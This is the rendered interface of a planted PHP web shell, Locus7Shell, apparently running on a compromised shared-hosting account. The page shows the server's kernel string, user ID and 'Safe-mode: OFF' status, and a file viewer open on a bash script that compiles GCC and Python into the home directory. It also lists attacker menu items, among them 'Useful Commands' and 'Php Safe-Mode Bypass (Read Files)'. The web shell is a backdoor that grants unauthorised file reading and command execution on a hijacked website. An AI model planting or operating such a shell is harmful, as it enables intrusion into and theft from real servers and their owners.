![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/ drwx---r-x |
Viewing file: Select action/file-type: #!/bin/bash # Set home directory absolute path HOME_DIR="/home/mycochar" # Install dependencies sudo apt-get update sudo apt-get install -y build-essential wget # Install GCC cd $HOME_DIR wget http://ftp.gnu.org/gnu/gcc/gcc-12.2.0/gcc-12.2.0.tar.gz tar -xzf gcc-12.2.0.tar.gz cd gcc-12.2.0 ./configure --prefix=$HOME_DIR/gcc --disable-multilib make -j$(nproc) make install # Add GCC to the PATH echo "export PATH=\$HOME_DIR/gcc/bin:\$PATH" >> $HOME_DIR/.bashrc source $HOME_DIR/.bashrc # Install Python 3 cd $HOME_DIR wget https://www.python.org/ftp/python/3.10.4/Python-3.10.4.tgz tar -xzf Python-3.10.4.tgz cd Python-3.10.4 ./configure --prefix=$HOME_DIR/python3 --enable-optimizations make -j$(nproc) make install # Add Python 3 to the PATH echo "export PATH=\$HOME_DIR/python3/bin:\$PATH" >> $HOME_DIR/.bashrc source $HOME_DIR/.bashrc echo "GCC and Python 3 installation completed!" |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]-- |